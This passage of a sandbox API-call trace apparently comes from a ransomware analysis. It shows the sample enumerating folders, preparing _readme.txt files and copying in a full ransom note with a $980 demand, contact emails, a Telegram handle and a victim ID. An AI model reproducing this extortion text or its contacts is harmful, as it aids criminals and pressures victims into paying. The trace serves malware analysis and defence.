ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba508 [0112.498] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.498] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.498] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0112.498] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.498] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.498] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.498] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.499] PathFindFileNameW (pszPath="") returned="" [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.499] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.499] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.499] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306ed0 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7d8 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.499] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5a8 | out: hHeap=0x660000) returned 1 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba7d8 | out: hHeap=0x660000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7d8 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x81c) returned 0x3306ed0 [0112.499] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba7d8 | out: hHeap=0x660000) returned 1 [0112.499] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331ec80 [0112.500] lstrcpyW (in: lpString1=0x331ec80, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.500] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.500] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ec80 | out: hHeap=0x660000) returned 1 [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7d8 [0112.500] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba7d8 | out: hHeap=0x660000) returned 1 [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284a40 [0112.500] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284a40 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.501] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.504] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 